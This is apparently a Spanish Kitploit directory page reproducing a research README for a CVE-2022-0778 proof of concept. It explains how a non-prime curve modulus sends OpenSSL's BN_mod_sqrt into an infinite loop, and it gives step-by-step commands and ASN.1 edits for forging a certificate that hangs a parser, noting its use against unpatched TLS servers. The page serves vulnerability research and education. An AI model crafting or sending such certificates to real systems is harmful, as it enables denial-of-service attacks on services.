Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-0778 — Exploit de prueba de concepto para CVE-2022-0778, que demuestra un bucle infinito en BN_mod_sqrt de OpenSSL mediante un certificado X.509 manipulado con parámetros de curva no primos, lo que permite ataques de denegación de servicio. | Kitploit
Herramientas/GitHubGitHub/drago-96/cve-2022-0778
Análisis de VulnerabilidadesExplotaciónCriptografíaAnálisis de BinariosPapers e InvestigaciónAprendizaje y Educación
GitHubdrago-96/cve-2022-0778

CVE-2022-0778

Exploit de prueba de concepto para CVE-2022-0778, que demuestra un bucle infinito en BN_mod_sqrt de OpenSSL mediante un certificado X.509 manipulado con parámetros de curva no primos, lo que permite ataques de denegación de servicio.

Ver Repositorio
181463hace 4 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2022-0778

La vulnerabilidad descubierta provoca un bucle infinito en la función BN_mod_sqrt() de OpenSSL al analizar una clave de curva elíptica. Esto significa que un certificado X.509 manipulado de forma maliciosa puede provocar un DoS en cualquier servidor sin parchear.

El núcleo de la vulnerabilidad está en el análisis de claves EC con puntos en formato comprimido: al analizar este tipo de claves, OpenSSL intentará expandir el punto comprimido, tratando de calcular una raíz cuadrada módulo el primo p sobre el que está definida la curva. Sin embargo, la primalidad de p no se comprueba en ningún sitio, ni siquiera en BN_mod_sqrt(), para la cual es un requisito; por lo tanto, un error en la implementación provocará un bucle infinito debido a que p no es primo como se esperaba.

La explicación en chino está disponible en mi blog OpenSSL CVE-2022-0778: reproducción del problema y construcción de certificados no válidos

Créditos

  • Tavis Ormandy por descubrir y divulgar la vulnerabilidad
  • Drago por publicar la prueba contra
BN_mod_sqrt()
  • catbro666 por construir realmente un certificado X.509 que hace que el servidor se cuelgue
  • wllm-rbnt por la útil herramienta asn1template
  • Cómo probarlo

    El requisito previo es tener instalados gcc y una versión vulnerable de OpenSSL.

    Para el error en BN_mod_sqrt(): compila con gcc -o my_bad_sqrt my_bad_sqrt.c -lcrypto, ejecuta ./my_bad_sqrt y observa cómo se cuelga para siempre. :D

    Con un certificado: ejecuta openssl x509 -in certs/cert.der.new -inform DER -text -noout en la línea de comandos; esto también se cuelga.

    Entrando en el bucle

    La función BN_mod_sqrt() implementa el algoritmo de Tonelli-Shanks para encontrar una raíz cuadrada modular, es decir, dado un entero a y un número primo p, devuelve un valor r tal que r^2 == a (mod p).

    Al analizar el commit que parchea la vulnerabilidad, vemos que el culpable es el bucle que encuentra el índice más pequeño i para el cual b^(2^i)==1 (mod p), donde b se define antes en el algoritmo.

    El bucle se cambia de

    root@kitploit:~
    i = 1;
    if (!BN_mod_sqr(t, b, p, ctx))
        goto end;
    while (!BN_is_one(t)) {
        i++;
        if (i == e) {
            ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
            goto end;
        }
        if (!BN_mod_mul(t, t, t, p, ctx))
            goto end;
    }
    

    a

    root@kitploit:~
    for (i = 1; i < e; i++) {
        if (i == 1) {
            if (!BN_mod_sqr(t, b, p, ctx))
                goto end;
        } else {
            if (!BN_mod_mul(t, t, t, p, ctx))
                goto end;
        }
        if (BN_is_one(t))
            break;
    }
    

    En el segundo caso, hay un bucle for limitado por la variable e; en el código original, sin embargo, solo hay una comprobación del caso i==e dentro de un bucle while.

    Dado que estos bucles están dentro de un bucle mayor que en cada iteración establece el nuevo valor de e al valor actual de i, probamos la siguiente estrategia de ataque:

    1. en la primera ejecución del bucle externo, hacer que i=1 al final; para ello, necesitamos que b^2=1 (mod p).
    2. de esta manera, durante la segunda ejecución tendremos e=1, y si podemos entrar en el bucle interno, la comprobación i==e siempre fallará
    3. si conseguimos tener siempre t != 1 (mod p), entonces permaneceremos en el bucle para siempre

    Observa que los dos primeros pasos pueden ocurrir en una ejecución "normal", es decir, con un primo p. Sin embargo, si p es compuesto, ¡también podemos satisfacer el tercer paso!

    Un poco de matemáticas

    El algoritmo de Tonelli-Shanks funciona escribiendo p - 1 = 2^e * q, con q impar. Este es también el orden del grupo multiplicativo de los enteros módulo p, y los valores e y q se usarán muchas veces durante la ejecución; sin embargo, si p no es primo, el orden del grupo multiplicativo no será p-1, y esto nos ayudará a entrar en el bucle infinito.

    En particular, b se inicializa como b = a^q (mod p), lo que significa que si p fuera primo, entonces b tendría orden una potencia de 2, que luego encontraremos usando el bucle.

    Pero si establecemos p = r * s, el orden del grupo multiplicativo es (r-1)*(s-1) = r*s - r - s + 1 en lugar de r*s-1. El algoritmo usa el valor de q para obtener un elemento y de orden exactamente 2^e; sin embargo, cuando p no es primo, el valor de q no tendrá un significado especial para el orden, por lo que el elemento y no tendrá orden una potencia de dos módulo p=r*s.

    Dado que al final del primer bucle externo b se establece como b = b*y^(e-i) (mod p), en su segunda iteración el bucle interno intentará encontrar un valor i para el cual b^(2^i) == 1 (mod p), pero fallará dado que y ya no está garantizado que tenga orden una potencia de dos.

    El exploit

    Los números en el exploit son muy simples: tomamos r=17,s=41, lo que da p=r*s=697. Esto significa que los valores calculados de e y q serán p-1 = 2^3 * 87.

    Luego elegimos a=696, lo que significa que a == -1 (mod p) y también b == -1 (mod p) cuando se inicializa. Esto satisfará el paso 1 estableciendo e=1 para el siguiente bucle externo.

    Entonces b se establecerá como un elemento con orden que no es una potencia de 2, y el bucle interno se quedará atascado tratando de encontrar un i para el cual b^(2^i)==1 (mod p).

    Creando un certificado peligroso

    Bien, ahora vamos a construir un certificado peligroso que contenga parámetros de curva explícitos no válidos con un punto base codificado en formato comprimido.

    Los archivos de esta sección están en la carpeta certs.

    Creando un certificado normal con parámetros de curva explícitos

    Primero, necesitamos crear una clave privada EC. Como queremos un certificado objetivo con parámetros de curva explícitos, la clave también debe contener parámetros de curva explícitos.

    root@kitploit:~
    $ openssl ecparam -out ec.key -name prime256v1 -genkey -noout -param_enc explicit -conv_form compressed
    

    Luego, por conveniencia, firmamos automáticamente un certificado y lo generamos en formato DER.

    root@kitploit:~
    $ openssl req -new -x509 -key ec.key -out cert.der -outform DER -days 360 -subj "/CN=TEST/"
    

    Veamos la información del certificado. Contiene parámetros de curva explícitos como se esperaba.

    root@kitploit:~
    $ openssl x509 -in cert.der -text -noout -inform DER
    ...
                    Field Type: prime-field
                    Prime:
                        00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
                        00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
                        ff:ff:ff
                    A:
                        00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
                        00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
                        ff:ff:fc
                    B:
                        5a:c6:35:d8:aa:3a:93:e7:b3:eb:bd:55:76:98:86:
                        bc:65:1d:06:b0:cc:53:b0:f6:3b:ce:3c:3e:27:d2:
                        60:4b
                    Generator (compressed):
                        03:6b:17:d1:f2:e1:2c:42:47:f8:bc:e6:e5:63:a4:
                        40:f2:77:03:7d:81:2d:eb:33:a0:f4:a1:39:45:d8:
                        98:c2:96
                    Order:
                        00:ff:ff:ff:ff:00:00:00:00:ff:ff:ff:ff:ff:ff:
                        ff:ff:bc:e6:fa:ad:a7:17:9e:84:f3:b9:ca:c2:fc:
                        63:25:51
    ...
    

    Construyendo un certificado no válido

    Ahora necesitamos modificar los valores de estos parámetros: Prime, A, B, Generator. Satisfacen la ecuación siguiente

    donde p es el Prime, a es el parámetro A, y b es el parámetro B. p, a, b juntos determinan una curva. Descomprimir un punto significa calcular la coordenada Y a partir de la coordenada X correspondiente.

    Obviamente, se debe utilizar la operación de raíz cuadrada modular, que llamará a BN_mod_sqrt().

    Basándonos en el trabajo de drago-96, tomamos p=697, x^3+ax+b=696. Y entonces solo necesitamos elegir a, b, x apropiados que satisfagan la segunda ecuación. Aquí tomamos x=8, a=23, b=0.

    Bien, ahora podemos empezar a abordar el certificado. Editar la estructura ASN.1 manualmente es realmente terrible. Usé la herramienta xxd para transformar el certificado a formato hexadecimal, y luego lo edité con vim. Después de completar la edición, lo transformé de vuelta con xxd -r.

    root@kitploit:~
    $ cp cert.der cert.der.old
    $ xxd cert.der cert.der.hex
    $ cp cert.der.hex cert.der.hex.old
    $ vim cert.der.hex
    # edit cert.der.hex
    # ...
    # complete
    $ xxd -r cert.der.hex cert.der.new
    

    No encontré una herramienta más cómoda. Si alguien conoce una, por favor, que la comparta en los comentarios.

    Los pasos para construirlo son aproximadamente los siguientes:

    1. Cambiar los valores de Prime, A, B, Generator
      1. Cambiar Prime a 697, es decir, 0x2b9 en hexadecimal
      2. Cambiar A a 23, es decir, 0x17 en hexadecimal
      3. Cambiar B a 0
      4. Cambiar la coordenada X del Generator a 8, es decir, 0x020008 (o 0x030008) cuando se codifica en formato comprimido
    2. Como OpenSSL comprobará el formato de relleno de ASN1_INTEGER, el Prime no debe contener bytes 0 a la izquierda, por lo que tenemos que cambiar la longitud del Prime
    3. Del mismo modo, OpenSSL comparará la longitud del Prime con la longitud de la cadena del punto, por lo que la longitud de la coordenada X del Generator debe ser la misma que la del Prime. Por eso establecemos el Generator como 030008, y no como 0308.
    4. Debido a que la estructura ASN.1 del certificado está anidada, todas las longitudes de los objetos externos también deben corregirse.
    5. Ten en cuenta que puede haber un salto de línea final no deseado (0x0a) al final del archivo después de ejecutar xxd -r. Elimínalo.

    Ahora, echemos un vistazo a la estructura ASN.1 del certificado normal. Las partes marcadas con la línea roja son las que deben cambiarse.

    root@kitploit:~
    $ openssl asn1parse -in cert.der -inform DER -i
    

    asn1-structure-of-x509-before

    Las longitudes antes y después de la modificación son las siguientes:

    desde(dec)desde(hex)hasta(dec)hasta(hex)
    5492254881e8
    4601cc39918f
    26610a205cd
    227e3166a6
    215d71549a
    442c130d
    33 Prime21202
    33 Generator21303

    Uso de plantillas ASN1

    Actualizado el 2020-03-21:

    Una forma mucho más fácil es usar la herramienta asn1template escrita por wllm-rbnt.

    Clona el repositorio:

    root@kitploit:~
    $ git clone https://github.com/wllm-rbnt/asn1template.git
    

    Genera una plantilla DER a partir de este certificado:

    root@kitploit:~
    $ ./asn1template/asn1template.pl cert.der > cert.tpl
    

    Luego cambia los parámetros que acabamos de mencionar arriba:

    root@kitploit:~
    diff cert.tpl cert_new.tpl
    46c46
    < field32 = FORMAT:HEX,OCTETSTRING:036B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296
    ---
    > field32 = FORMAT:HEX,OCTETSTRING:030008
    51c51
    < field36 = INTEGER:0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF
    ---
    > field36 = INTEGER:0x2B9
    53,54c53,54
    < field37 = FORMAT:HEX,OCTETSTRING:FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC
    < field38 = FORMAT:HEX,OCTETSTRING:5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B
    ---
    > field37 = FORMAT:HEX,OCTETSTRING:0000000000000000000000000000000000000000000000000000000000000017
    > field38 = FORMAT:HEX,OCTETSTRING:0000000000000000000000000000000000000000000000000000000000000000
    

    Conviértelo de nuevo a ASN1 codificado en DER con ASN1_generate_nconf(3):

    root@kitploit:~
    $ openssl asn1parse -genconf cert_new.tpl -noout -out cert_new.der
    

    El resultado cert_new.der es equivalente a la versión editada manualmente.

    Así que ahora hemos construido con éxito un certificado no válido. Veamos la nueva estructura ASN.1

    root@kitploit:~
    $ openssl asn1parse -in cert.der.new -inform DER -i
    

    asn1-structure-of-x509-after

    Todas las partes rojas han sido modificadas, y el certificado puede decodificarse correctamente en DER.

    Prueba con el certificado no válido

    Ahora intentemos analizar el certificado. El proceso entrará en el bucle infinito si todo es como se espera.

    root@kitploit:~
    openssl x509 -in cert.der.new -inform DER -text -noout
    

    infinite-loop-when-parsing-invalid-cert

    Como se muestra, el %CPU del proceso openssl es 100, y la pila de llamadas está dentro de BN_mod_sqrt().

    Si un atacante malicioso envía un certificado manipulado de este tipo durante el handshake SSL con el servidor, el servidor entrará en el bucle infinito, lo que provoca un ataque DoS.

    Creando un certificado, método alternativo

    Intentaremos construir un certificado usando la biblioteca C libcrypto de OpenSSL.

    Como hemos visto, necesitamos usar una curva con campo base no primo y codificar los puntos en formato comprimido, de modo que al analizarla encontremos el error en BN_mod_sqrt().

    Esto se puede hacer estableciendo y^2 = x^3 + 1*x + 694 (mod 697) como la curva, con (1, 132) como generador; esto llamará a BN_mod_sqrt() con exactamente los mismos parámetros que my_bad_sqrt.

    Ejecutar gcc -o my_bad_group my_bad_group.c -lcrypto && ./my_bad_group generará el archivo my_bad_group.der que contiene los ECparams en formato DER.

    Intentar analizar esos parámetros con OpenSSL dará como resultado el bucle infinito: openssl ecparam -in my_bad_group.der -inform der.

    ... WIP ...

    Descargar herramienta